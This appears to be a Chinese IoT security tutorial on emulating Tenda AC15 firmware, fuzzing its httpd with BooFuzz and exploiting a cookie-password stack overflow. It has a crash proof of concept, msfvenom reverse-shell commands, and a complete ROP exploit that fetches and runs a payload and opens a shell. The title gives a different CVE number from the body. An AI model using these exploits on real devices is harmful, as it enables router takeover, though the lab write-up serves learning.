《IOT 废物学习之路》(6)–BooFuzz 的简单使用,以 CVE-2018-5797 为例
Tenda AC15 固件中所存在的缓冲区溢出。由于没有对用户的输入进行限制,导致 sscanf 函数直接将用户的输入直接拷贝到栈上,从而造成了栈溢出漏洞。
分析固件(qemu-user)
使用 binwalk
对固件进行解压
1 binwalk -e US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
squashfs-root
文件夹是该路由器的文件系统,使用 qemu-arm-static
尝试启动 bin
下的 httpd
:
1 2 3 cp $(which qemu-arm-static) ./ sudo chroot . ./qemu-arm-static ./bin/httpd sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd #调试模式
运行时程序卡住:
到 IDA 中对 httpd
进行分析。
直接进行字符串定位
发现两个需要注意的地方
导致死循环的原因就是因为 check_network
函数判断失败导致进入 while
死循环。
所以如果想要正常继续执行 httpd
程序,需要修改两处。
修改 check_network
使其不进入 while
循环
修改 ConnectCfm
为 true
使其进入到 if
中继续执行
所以只需要 patch
这两处分支跳转就行。
修改之后
反编译再看一下
导出修改后的 httpd
文件
再次运行 httpd
:
前面一些报错无关紧要,后面的 ip
地址明显有问题。
回到 IDA
中定位到 httpd listen
的位置:
qemu-gdb
确定函数调用链
1 2 3 4 5 sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd # 新建终端 gdb-multiarch b *0x1A36C target remote :1234
可以确定 sub_28388
调用了 sub_1A36C
:
再对 sub_28338
交叉引用,根据字符串判断是
由于这个是 goahead
,所以根据一些资料恢复一些符号表和结构体,可以知道这个函数事实上就是 tcp_timestamps
。继续向上交叉引用,得到完整调用链:
main
-> initwebs
-> tcp_timestamps
-> sub_28338
-> sub_1A36C
-> printf
。
继续对 printf
的 ip
参数跟踪:
发现是来自全局变量 g_lan_ip
,最后跟踪到:
动态调试一下,看一下 getIfIp
函数的返回值,发现是-1,进入到 if
语句里面了
正常流程是进入到与 if
语句相对应的 else
语句。所以之前的初始化步骤有问题
关联最多的是 GetValue
函数,它被定义在动态链接库 libCfm.so
中:
先从 main
函数开头看,有一个 check_network
,函数本体存在于 libcommon.so
中:
其中 a1
传入的是
逐步进入函数 j_check_network
->
getLanIfName()
->
get_eth_name(0)
查看:
在 libChipApi.so
可以找到该函数的定义:
传入的a1
为0,所以需要自己创建一个虚拟网桥(Virtual Bridge)
br0:
1 2 sudo brctl addbr br0 sudo ifconfig br0 192.168.2.3/24
重新启动:
可以发现,ip
是正确的。
虽然能访问,但是并不能完全访问,根据./etc_ro/init.d/rcs
:
路由器会在启动时将/webroot_ro/
复制到/webroot/
目录下。
同样执行一遍这个操作,再访问试一试:
至此,成功搭建漏洞环境。
查看httpd
的文件保护
CVE-2018-5767
漏洞存在于httpd
的厂商自己实现的R7WebsSecturityyHandler
函数中:
这个固件并没有调用goahead
自带的websSectureHandler
而是调用R7websSectureHandler
。
这段代码的含义是首先寻找到password=
字符串的位置,之后通过函数sscanf
获取字符串password=
和;
之间的字符串保存在v33中。由于v33定义的范围是128,超过128就会导致溢出。
解析的结果事实上就是cookie
中的password
。
为了让fuzzer
能fuzz
到崩溃点,POC需要满足以下条件:
只要我们在请求中包含/goform/xxx
就可以靠近漏洞点。可以拿/goform/zhu yuan
来测试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport socketimport socksimport httpsocks.set_default_proxy(socks.SOCKS5, "127.0.0.1" , 2345 ) socket.socket = socks.socksocket def main (): url = "http://192.168.2.2/goform/zhuyuan" try : cookie = {"Cookie" :"password=" + "A" *501 } res = requests.get(url=url,cookies=cookie) print (res.text) except : print ("overflow!" ) if __name__ == '__main__' : main()
由于httpd
崩溃(DOS攻击)导致触发python异常:
curl --location:解析重定向之后的网页。
BooFuzz介绍
BooFuzz
是一个由python
编写的网路协议模糊测试框架。boofuzz
提供了对于网络协议进行模糊测试的规范和功能函数。
BooFuzz框架介绍
1、四大组件:
Data Generation
数据生成
Session
会话管理
Agents
代理
Utilities
独立单元工具
环境搭建
boofuzz项目地址:GitHub - jtpereyda/boofuzz: A fork and successor of the Sulley Fuzzing Framework
将boofuzz
安装到python
虚拟环境中:
1 2 3 4 5 6 7 8 sudo apt install python3-dev libffi-dev build-essential virtualenvwrapper export WORKON_HOME=$HOME/Python-workhome source /usr/share/virtualenvwrapper/virtualenvwrapper.sh mkvirtualenv --python=$(which python3) boofuzz && pip install boofuzz # 新建终端后需要执行如下两条命令启动虚拟环境,方便起见可以将它们追加到~/.bashrc中 【1】$ export WORKON_HOME=$HOME/Python-workhome 【2】$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh $ workon boofuzz【进入虚拟环境】
执行以上命令进入python虚拟环境。
boofuzz
的版本为0.4.2
然后拉取cyberangel
师傅的仿真docker
环境:
1 docker pull ccr.ccs.tencentyun.com/cyberangel-public/iot-emu:tenda_ac15_cve-2018-5767
Docker(qemu-system)
启动容器:
1 sudo docker run -it --privileged -p 1234:22 c1687db529e0 /bin/bash
运行/root/run.sh
启动环境:
执行
1 ssh -D 2345 root@127.0.0.1 -p 1234
在本地开启端口转发,让docker
暴露的1234
端口转发到本地的2345
端口。浏览器代理设置为socket
。
最后在浏览器中访问http://192.168.2.2/main/html
就能访问到路由器的管理页面了。流量的路径:虚拟机
-> Docker
-> Qemu
。
192.168.2.1
:docker
内部ip
192.168.2.2
:qemu的ip
这是docker
内部运行的run.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 # /bin/bash //解压路由器固件 cd /root/firmware rm -r ./_* # 删除之前解压的后的文件 binwalk -e *.bin # 重新解压路由器固件 cd _*/ pwd tar czf squashfs-root.tar.gz ./squashfs-root && rm -r ./squashfs-root # 对文件系统进行打包 cd /root # 启动 ssh 服务 service ssh start # 配置网卡 tunctl -t tap0 ifconfig tap0 192.168.2.1/24 # 启动 http 服务 nohup python3 -m http.server 8000 1>&/dev/null & #启动http服务,方便之后下载tools目录下具有反弹shell功能的可执行文件msf # 进入 qemu 镜像目录 cd /root/qemu-system/armhf/images # 自动化docker容器与qemu交互脚本 /usr/bin/expect<<EOF set timeout 10000 spawn qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic expect "debian-armhf login:" send "root\r" expect "Password:" send "root\r" expect "root@debian-armhf:~# " send "ifconfig eth0 192.168.2.2/24\r" # expect "root@debian-armhf:~# " # send "echo 0 > /proc/sys/kernel/randomize_va_space\r" expect "root@debian-armhf:~# " send "scp root@192.168.2.1:/root/firmware/_*/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r" expect { "(yes/no)? " { send "yes\r"; exp_continue } "password: " { send "cyberangel\r" } } expect "root@debian-armhf:~# " send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r" expect "root@debian-armhf:~# " send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r" expect "root@debian-armhf:~# " send "scp -r root@192.168.2.1:/root/tools /root/squashfs-root/tools\r" expect { "(yes/no)? " { send "yes\r"; exp_continue } "password: " { send "cyberangel\r" } } expect "root@debian-armhf:~# " send "chmod +x ./squashfs-root/tools/patch.sh && /bin/sh ./squashfs-root/tools/patch.sh\r" expect "root@debian-armhf:~# " send "chroot squashfs-root/ sh\r" expect "# " send "brctl addbr br0 && ifconfig br0 192.168.2.2/24 up\r" expect "# " send "/bin/httpd 1>/dev/null 2>&1 &\r" expect "# " send "sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh\r" expect eof EOF
qemu-system
模拟的核心命令如下:
1 2 3 4 mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc chroot squashfs-root/ sh /bin/httpd sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh # 获取/lib/libc.so的基地址
自动patch
可执行文件的脚本(机器码):
1 2 3 4 5 # !/bin/bash # patch connectcfm 和 check_network 的返回值为1 "mov r3, #1" printf '\x01\x30\xa0\xe3' | dd of=/root/squashfs-root/bin/httpd bs=1 count=4 seek=151476 conv=notrunc printf '\x01\x30\xa0\xe3' | dd of=/root/squashfs-root/bin/httpd bs=1 count=4 seek=151440 conv=notrunc
docker
的http
服务(8000)端口:
fuzz漏洞点
使用的是boofuzz
协议模糊测试工具。
官方手册:
1 https://boofuzz.readthedocs.io/en/stable/user/install.html
可以利用boofuzz
中的库仿写请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from boofuzz import *import socketimport sockssocks.set_default_proxy(socks.SOCKS5, "127.0.0.1" , 2345 ) socket.socket = socks.socksocket def check_response (target, fuzz_data_logger, session, *args, **kwargs ): fuzz_data_logger.log_info("Checking this response..." ) fuzz_data_logger.log_info("We will receive 512 bytes data..." ) try : response = target.recv(512 ) except : fuzz_data_logger.log_fail("Unable to connect to target. Closing..." ) target.close() return if not response: fuzz_data_logger.log_fail("Empty response, target may be hung. Closing..." ) target.close() return fuzz_data_logger.log_info("response check...\n" + response.decode()) target.close() return def main (): session = Session( target=Target( connection=SocketConnection("192.168.2.2" , 80 , proto="tcp" ), ), post_test_case_callbacks=[check_response], ) s_initialize(name="Request" ) with s_block("Request-Header" ): ''' s_static(value: Any = None, name: str = None):在fuzz过程中不会突变的变量 s_string(value: str = "", size: int = None, padding: Any = b"\u0000", encoding: str = "ascii", fuzzable: bool = True, max_len: int = None, name: str = None) -> None 和static相似,但s_string更具扩展性,可以指定该数据在fuzz的过程中是否发生突变 ''' ''' Request Format: GET /goform/cyberangel HTTP/1.1 Host: 192.168.2.2 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 ''' s_static("GET" , name="Method" ) s_static(" " , name="space-1-1" ) s_static("/goform/zhuyuan" ) s_static(" " , name="space-1-2" ) s_static("HTTP/1.1" , name="HTTP_VERSION" ) s_static("\r\n" , name="Request-Line-CRLF-1" ) s_static("Host:" ) s_static(" " , name="space-2-1" ) s_static("192.168.2.2" , name="IP address" ) s_static("\r\n" , name="Request-Line-CRLF-2" ) s_static("User-Agent:" , name="User-Agent" ) s_static(" " , name="space-3-1" ) s_static("Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" ,name="User-Agent-Value" ) s_static("\r\n" , name="Request-Line-CRLF-3" ) s_static("Accept:" , name="Accept" ) s_static(" " , name="space-4-1" ) s_static("text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" , name="Accept-Value" ) s_static("\r\n" , name="Request-Line-CRLF-4" ) s_static("Accept-Language:" , name="Accept-Language" ) s_static(" " , name="space-5-1" ) s_static("en-US,en;q=0.5" ,name="Accept-Language-Value" ) s_static("\r\n" , name="Request-Line-CRLF-5" ) s_static("Accept-Encoding:" , name="Accept-Encoding" ) s_static(" " , name="space-6-1" ) s_static("gzip, deflate" , name="Accept-Encoding-Value" ) s_static("\r\n" , name="Request-Line-CRLF-6" ) s_static("Connection:" ) s_static(" " , name="space-7-1" ) s_static("keep-alive" , name="Connection state" ) s_static("\r\n" , name="Request-Line-CRLF-7" ) ''' important ''' ''' "Cookie: password=cyberangel" ''' s_static("Cookie: " ) s_static("password=" , name="key-password" ) s_string("zhuyuan" , fuzzable=True ) s_static("\r\n" , name="Request-Line-CRLF-8" ) s_static("\r\n" ) s_static("\r\n" ) session.connect(s_get("Request" )) try : session.fuzz() except : print ("overflow!" ) if __name__ == "__main__" : main()
新建终端,进入python
虚拟环境启动boofuzz
。
在第20
轮程序崩溃
fuzzer
发送了大量变异后的字符串导致httpd
程序崩溃。同目录下会生成一个boofuzz-results
文件夹,日志保存在其中。
第20
轮fuzz
的时候崩溃,说明第19轮发送的数据导致崩溃。
EXP
利用就是溢出后执行system("/msf")
并反弹shell
:
1 2 3 4 5 # https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/baseImage/msf # 使用 Metasploit生成的反向shell: $ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-arm $ msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-mipsel $ msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-mips
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsfrom pwn import *from threading import Threadcmd = b'wget http://192.168.2.1:8000/tools/msf -O /msf ' cmd += b'&& chmod 777 /msf ' cmd += b'&& /msf' assert (len (cmd) < 255 )libc_base = 0x76de8000 system = libc_base + 0x5A270 mov_r0_ret_r3 = libc_base + 0x40cb8 pop_r3 = libc_base + 0x18298 payload = b'A' *(444 ) + b'.gif' + p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd url = "http://192.168.2.2:80/goform/cyberangel" cookie = {"Cookie" : 'password=' +payload.decode('latin1' )} def attack (): try : requests.get(url, cookies=cookie) except Exception as e: print (e) thread = Thread(target=attack) thread.start() p = listen(31337 ) p.wait_for_connection() log.success("getshell" ) p.interactive() thread.join()
参考资料:
1 2 3 https://www.yuque.com/cyberangel/rg9gdm/nqk6wh https://jackfromeast.site/2021-03/boofuzz-1.html https://boofuzz.readthedocs.io/en/stable/user/install.html